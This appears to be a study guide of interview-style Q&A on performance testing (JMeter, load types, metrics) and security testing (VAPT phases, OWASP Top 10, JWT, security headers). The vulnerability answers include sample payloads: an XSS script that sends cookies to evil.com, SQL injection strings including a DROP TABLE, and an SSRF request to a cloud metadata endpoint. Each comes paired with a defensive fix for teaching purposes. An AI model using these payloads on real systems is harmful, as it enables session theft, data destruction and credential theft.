Skip to content

Performance & Security Testing — VAPT Concepts (Detailed Q&A)

VAPT = Vulnerability Assessment + Penetration Testing.

PART A: PERFORMANCE TESTING

1. What is Performance Testing?

Testing the speed, stability, scalability, and responsiveness of an application under load.

Key Goal Questions

  • How fast?
  • How many users can it handle?
  • Does it degrade gracefully?
  • Where are the bottlenecks?

2. Types of Performance Testing — "LoCSEV-Sp"

Type Purpose Example
Load Testing Expected user load 1000 users using checkout
Stress Testing Beyond capacity until breaks 5000 users to find breaking point
Spike Testing Sudden burst 0 → 5000 users in 1 sec
Endurance/Soak Long-duration steady load 500 users for 24 hours (memory leaks)
Volume Testing Large data 10M rows in DB
Scalability Behavior as load grows Linear? Plateau?
Capacity Planning Max users at acceptable response Find SLA breakpoint

3. Performance Metrics ("RTAUL")

Metric Meaning
Response Time Time from request to response
Throughput Requests per second (TPS)
Average / 90th / 95th / 99th Percentile Latency distribution
Concurrent Users Users active at same time
Latency Network delay only
Error Rate % of failed requests
CPU / Memory / Disk Server-side resource usage

4. JMeter Basics

Component Purpose
Test Plan Root container
Thread Group Defines virtual users + ramp-up + loops
Samplers (HTTP Request) Actual request
Listeners Aggregate Report, Graph, Tree
Timers Add think-time between requests
Assertions Validate response (status, text, JSON path)
Config Elements HTTP defaults, headers, cookies
Pre/Post Processors Extract values, set up data
Controllers Logic — loop, if, transaction

Common JMeter Workflow

  1. Create Thread Group (users + ramp-up + duration)
  2. Add HTTP Request Sampler
  3. Add HTTP Headers Manager
  4. Add Assertions (Response Code = 200)
  5. Add Listeners (Summary Report, View Results Tree)
  6. Run → analyze

Distributed Testing in JMeter

Master + slaves to generate huge load.

5. Common Performance Bottlenecks

  • Slow DB queries (missing indexes, N+1)
  • Memory leaks
  • Inefficient code (nested loops on large data)
  • Network bandwidth
  • Caching missing
  • Thread pool exhaustion
  • Third-party API delays

6. How to Approach a Performance Issue

  1. Reproduce — confirm under what load it slows down.
  2. Profile — use APM (New Relic, Datadog) to find slow endpoints.
  3. Analyze logs / DB query plans.
  4. Isolate — backend? DB? Frontend? Network?
  5. Fix + retest.
  6. Set baseline + monitor.

PART B: SECURITY TESTING & VAPT

7. What is Security Testing?

Testing to find vulnerabilities that attackers can exploit. Aim: confidentiality, integrity, availability (CIA triad).

CIA Triad

  • Confidentiality — only authorized can access
  • Integrity — data not altered
  • Availability — services accessible when needed

8. Types of Security Testing

Type Detail
Vulnerability Scanning Automated scan (Nessus, OWASP ZAP) for known issues
Penetration Testing Simulate real-world attack
Security Audit Process + config review
Risk Assessment Identify + rank risks
Ethical Hacking Broader pentest
Posture Assessment Overall security stance

9. VAPT — Vulnerability Assessment + Penetration Testing

VA (Vulnerability Assessment)

  • What: Identify & list vulnerabilities (breadth, not depth).
  • Tools: Nessus, OpenVAS, Nikto, OWASP ZAP, Burp Suite.
  • Output: Report listing CVEs, severity (CVSS score).

PT (Penetration Testing)

  • What: Actively exploit vulnerabilities (depth).
  • Goal: Show what an attacker could actually do.
  • Output: Proof-of-concept attack + remediation steps.

VA vs PT (Common Question)

VA PT
Approach Automated scan Manual + automated
Depth Wide, shallow Narrow, deep
Output List of vulnerabilities Exploitation evidence
Frequency Quarterly Annually or pre-launch

10. VAPT Phases — "PRESET"

  1. Planning & Scope — what systems, methods
  2. Reconnaissance — gather info (passive + active)
  3. Enumeration / Scanning — open ports, services, versions
  4. Scanning for vulnerabilities — using Nessus/ZAP
  5. Exploitation — try to gain access
  6. Test report / Remediation — document + fix

Types of Pentests

  • Black box — no internal info given
  • White box — full access (code, creds, architecture)
  • Gray box — partial info (e.g., test user credentials)

11. OWASP Top 10 (2021) — MUST KNOW

# Vulnerability Example Fix
A01 Broken Access Control User A reads User B's data via /api/user/123 Authz checks per request
A02 Cryptographic Failures Storing passwords in plaintext Hash with bcrypt, TLS for transit
A03 Injection (SQL, NoSQL, OS) ' OR 1=1-- in login Prepared statements, sanitization
A04 Insecure Design No rate limit on login → brute force Threat modeling, secure-by-design
A05 Security Misconfiguration Default admin/admin, exposed S3 bucket Hardened config, scan IaC
A06 Vulnerable/Outdated Components Old log4j (Log4Shell) Patch, SCA tools
A07 Identification & Auth Failures Weak passwords, no MFA MFA, password policies, lockouts
A08 Software/Data Integrity Failures Loading code from unverified CDN Signed updates, SRI
A09 Logging & Monitoring Failures No alerts on suspicious login Centralized logging, SIEM, alerts
A10 SSRF Server fetches arbitrary URL from input Allowlist URLs, block internal IPs

Memory hook: "BCIDS-VIDLS" — Broken-access, Crypto, Injection, Design, Setup-misconfig, Vulnerable, Identification, Data-integrity, Logging, SSRF.

12. Detailed Q&A — Common Vulnerabilities

Q: What is SQL Injection?

A: Attacker injects SQL via input. Example: username = admin' -- makes query SELECT * FROM users WHERE name='admin' --' AND password='x'. The -- comments out password check.

Fix: Use parameterized queries / prepared statements / ORMs.

# BAD
cursor.execute("SELECT * FROM users WHERE name='" + name + "'")
# GOOD
cursor.execute("SELECT * FROM users WHERE name=%s", (name,))

Q: What is XSS (Cross-Site Scripting)?

A: Attacker injects malicious JS into a page viewed by another user.

Types: - Stored XSS: Saved in DB (e.g., comment field) → executes for every viewer - Reflected XSS: From URL parameter → echoed in response - DOM-based XSS: JS modifies DOM with unsanitized input

Example: <script>document.location='http://evil.com/?c='+document.cookie</script>

Fix: - Output encoding (HTML escape) - Content Security Policy (CSP) header - Use frameworks that auto-escape (React) - Input validation

Q: What is CSRF (Cross-Site Request Forgery)?

A: User logged into Bank.com visits Evil.com which submits a hidden form transferring money. Browser includes user's bank cookies.

Fix: - CSRF tokens (random, per session) - SameSite=Strict cookies - Re-authenticate for sensitive actions

Q: SQL Injection vs XSS?

SQL Injection XSS
Target Database (server) Browser (client)
Payload SQL code JavaScript
Damage Data leak, drop tables Steal cookies/sessions

Q: What is IDOR (Insecure Direct Object Reference)?

A: API like GET /api/orders/123 returns ANY order, not just yours.

Fix: Check ownership server-side: WHERE order.id=123 AND user_id=current_user.

Q: What is SSRF (Server-Side Request Forgery)?

A: App takes user input as URL and server fetches it. Attacker uses internal URLs: http://169.254.169.254/latest/meta-data (AWS metadata) → steal credentials.

Fix: Allowlist domains, block private IP ranges.

Q: What is Session Hijacking?

A: Attacker steals session ID (cookie) → impersonates user.

Fix: - HttpOnly + Secure + SameSite cookies - Rotate session ID after login - Short session expiry - Bind session to IP/fingerprint

Q: What is a Man-in-the-Middle (MITM) attack?

A: Attacker sits between client and server, intercepting/modifying traffic.

Fix: HTTPS (TLS), HSTS header, cert pinning.

Q: What is Clickjacking?

A: Trick user into clicking invisible button (overlaid in iframe).

Fix: X-Frame-Options: DENY header.

Q: What is a DDoS attack?

A: Distributed Denial of Service — many machines flood target → app unavailable.

Fix: WAF, rate limiting, CDN with DDoS protection (Cloudflare).

13. Authentication vs Authorization (Common Q)

Authentication Authorization
Q "Who are you?" "What can you do?"
Order First After authentication
Example Login Admin can delete users

Common Auth Methods

  • Basic Auth (base64 — insecure without TLS)
  • JWT (JSON Web Token) — stateless
  • OAuth 2.0 — delegate access (Login with Google)
  • OpenID Connect (OIDC) — identity layer over OAuth
  • SAML — enterprise SSO
  • MFA / 2FA — extra factor

14. JWT — Detail

Structure: header.payload.signature

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMifQ.SIG
  • Header: algorithm (HS256, RS256)
  • Payload: claims (sub, exp, role)
  • Signature: HMAC or RSA of header+payload

Common JWT Vulnerabilities: - alg: none attack (server accepts unsigned token) - Weak secret → brute force HMAC - Tokens not expired / not revoked - Storing JWT in localStorage (XSS risk)

15. Security Testing Tools

Tool Use
Burp Suite Intercept HTTP, manual pentest
OWASP ZAP Free alt to Burp, automated scans
Nmap Port scan, service detection
Nikto Web server vulnerabilities
Metasploit Exploit framework
Wireshark Network packet analysis
Nessus Vulnerability scanner
SQLMap Auto SQL injection
Hydra Brute force creds

16. Security Headers (Easy Wins)

Header What it does
Strict-Transport-Security Force HTTPS
X-Content-Type-Options: nosniff Stop MIME sniffing
X-Frame-Options: DENY Stop clickjacking
Content-Security-Policy Restrict JS/CSS sources
Referrer-Policy Control referer info
Permissions-Policy Limit browser features (camera, mic)

17. Secure SDLC ("Shift Left Security")

  1. Requirements — security requirements upfront
  2. Design — threat modeling (STRIDE)
  3. Code — SAST (SonarQube, Checkmarx)
  4. Build — SCA (Snyk, Dependabot for deps)
  5. Test — DAST (OWASP ZAP), pentest
  6. Deploy — IaC scans, secrets scanning
  7. Operate — WAF, monitoring, incident response

STRIDE Threat Model

  • Spoofing
  • Tampering
  • Repudiation
  • Information disclosure
  • Denial of service
  • Elevation of privilege

18. Sample Q&A

Q1: How would you do security testing for an API?

  1. Test authentication (no token / expired / tampered).
  2. Test authorization (User A accessing User B data).
  3. Injection tests (SQLi, NoSQLi via payloads).
  4. Rate limiting (brute force).
  5. HTTPS + cert validity.
  6. Input validation (special chars, long inputs).
  7. Error responses — don't leak stack traces or DB info.
  8. Tools: Postman + OWASP ZAP.

Q2: How would you test for SQL Injection?

  • Try ' OR '1'='1, '; DROP TABLE--, ' UNION SELECT...
  • Use SQLMap for automated detection.
  • Check error messages for SQL syntax leaks.

Q3: Difference between symmetric vs asymmetric encryption?

  • Symmetric: Same key both sides (AES). Fast, key exchange is a problem.
  • Asymmetric: Public/private key (RSA). Slow, used for key exchange (then switch to symmetric).
  • HTTPS uses both: asymmetric for handshake, symmetric for data.

Q4: What's a zero-day vulnerability?

  • A vulnerability unknown to the vendor → no patch available → zero days to fix.

Q5: What's CVSS?

  • Common Vulnerability Scoring System (0-10). Used to rate severity. 9-10 = Critical.

Q6: What's a WAF?

  • Web Application Firewall. Filters HTTP traffic before reaching app. Blocks known attacks (SQLi, XSS).

Q7: How to test for broken authentication?

  • Brute force login (rate limiting check)
  • Default creds (admin/admin)
  • Password reset flow (token guessable?)
  • Session fixation
  • Concurrent logins
  • "Remember me" → safe cookie?

Q8: Encoding vs Encryption vs Hashing?

Reversible? Purpose
Encoding Yes (no key) Format conversion (base64)
Encryption Yes (with key) Confidentiality
Hashing No Integrity, password storage (SHA256, bcrypt)